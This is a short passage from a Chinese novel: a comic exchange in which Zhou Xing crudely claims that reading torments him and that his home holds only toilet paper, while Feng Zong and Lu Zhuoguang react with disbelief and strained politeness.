周幸颇为不好意思地一笑,说:“实不相瞒,我这人打小看见笔墨就头痛难忍,一念书就感觉如被恶鬼掐住了脖子动弹不得,双眼发黑浑身冒冷汗,多读两行字就会被索命而去,因此不爱读书,家里除了擦屁股用的草纸之外,没有别的纸。” 冯宗没忍住,睁开了眼睛,想看看周幸脸皮是不是牛皮绷的,又厚又韧,所以才能说出这番叫人匪夷所思的粗鄙之言。 陆酌光面上仍带着得体的微笑,过了好一会儿才说话:“哦……原来如此呀。”